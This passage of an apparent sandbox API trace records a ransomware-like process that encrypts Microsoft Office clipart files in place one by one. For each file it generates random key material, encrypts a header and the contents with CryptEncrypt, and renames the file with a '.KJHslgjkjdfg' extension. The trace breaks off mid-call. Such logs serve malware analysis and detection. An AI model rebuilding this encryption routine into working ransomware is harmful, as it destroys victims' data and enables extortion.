files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.922] GetProcessHeap () returned 0x2a0000 [0184.922] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.922] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.922] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.922] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0184.925] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.925] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.925] GetProcessHeap () returned 0x2a0000 [0184.925] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.925] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.925] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.925] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.925] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.925] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.925] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.925] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.925] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.925] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.925] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.925] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.926] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6efa, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6efa, lpOverlapped=0x0) returned 1 [0184.927] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6f00, dwBufLen=0x6f00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6f00) returned 1 [0184.927] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.927] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6f00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6f00, lpOverlapped=0x0) returned 1 [0184.927] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.927] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6fd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.928] SetEndOfFile (hFile=0x114) returned 1 [0184.930] GetProcessHeap () returned 0x2a0000 [0184.930] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.930] GetProcessHeap () returned 0x2a0000 [0184.930] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.931] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf.kjhslgjkjdfg")) returned 1 [0184.932] CloseHandle (hObject=0x114) returned 1 [0184.932] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6a54b00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6a54b00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x5880, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00525_.WMF", cAlternateFileName="")) returned 1 [0184.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.934] GetProcessHeap () returned 0x2a0000 [0184.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.934] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.934] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.935] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.935] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.935] GetProcessHeap () returned 0x2a0000 [0184.935] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.935] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.935] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.935] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.937] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.937] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.937] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.937] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.937] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.937] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.937] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.937] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.938] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5880, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5880, lpOverlapped=0x0) returned 1 [0184.942] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5880, dwBufLen=0x5880 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5880) returned 1 [0184.943] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.943] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5880, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5880, lpOverlapped=0x0) returned 1 [0184.943] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.943] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.943] SetEndOfFile (hFile=0x114) returned 1 [0184.946] GetProcessHeap () returned 0x2a0000 [0184.946] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.946] GetProcessHeap () returned 0x2a0000 [0184.946] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.946] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf.kjhslgjkjdfg")) returned 1 [0184.948] CloseHandle (hObject=0x114) returned 1 [0184.948] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35fc4a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35fc4a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x477c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00530_.WMF", cAlternateFileName="")) returned 1 [0184.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.950] GetProcessHeap () returned 0x2a0000 [0184.950] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.950] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.950] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.950] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.952] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.952] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.953] GetProcessHeap () returned 0x2a0000 [0184.953] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.953] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.953] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.953] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.953] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.953] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.953] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.953] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.953] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.953] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.953] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.953] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.953] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x477c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x477c, lpOverlapped=0x0) returned 1 [0184.955] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4780, dwBufLen=0x4780 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4780) returned 1 [0184.955] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.955] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4780, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4780, lpOverlapped=0x0) returned 1 [0184.955] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.955] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.955] SetEndOfFile (hFile=0x114) returned 1 [0184.958] GetProcessHeap () returned 0x2a0000 [0184.958] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.958] GetProcessHeap () returned 0x2a0000 [0184.958] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.958] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf.kjhslgjkjdfg")) returned 1 [0184.960] CloseHandle (hObject=0x114) returned 1 [0184.960] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x530, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00532_.WMF", cAlternateFileName="")) returned 1 [0184.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.961] GetProcessHeap () returned 0x2a0000 [0184.961] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.961] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.961] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.961] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.961] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.961] GetProcessHeap () returned 0x2a0000 [0184.961] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.962] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.962] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.962] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.965] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.965] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.965] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.965] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.966] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.966] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.966] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.966] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.966] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x530, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x530, lpOverlapped=0x0) returned 1 [0184.966] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x530, dwBufLen=0x530 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x530) returned 1 [0184.966] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.966] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x530, lpOverlapped=0x0) returned 1 [0184.966] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.966] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x604, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.966] SetEndOfFile (hFile=0x114) returned 1 [0184.969] GetProcessHeap () returned 0x2a0000 [0184.969] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.969] GetProcessHeap () returned 0x2a0000 [0184.969] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.969] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf.kjhslgjkjdfg")) returned 1 [0184.971] CloseHandle (hObject=0x114) returned 1 [0184.971] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34cb1d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34cb1d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7d14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00538_.WMF", cAlternateFileName="")) returned 1 [0184.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.972] GetProcessHeap () returned 0x2a0000 [0184.972] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.972] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.972] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.972] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0184.976] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.976] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.976] GetProcessHeap () returned 0x2a0000 [0184.976] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.976] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.976] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.976] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.976] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, 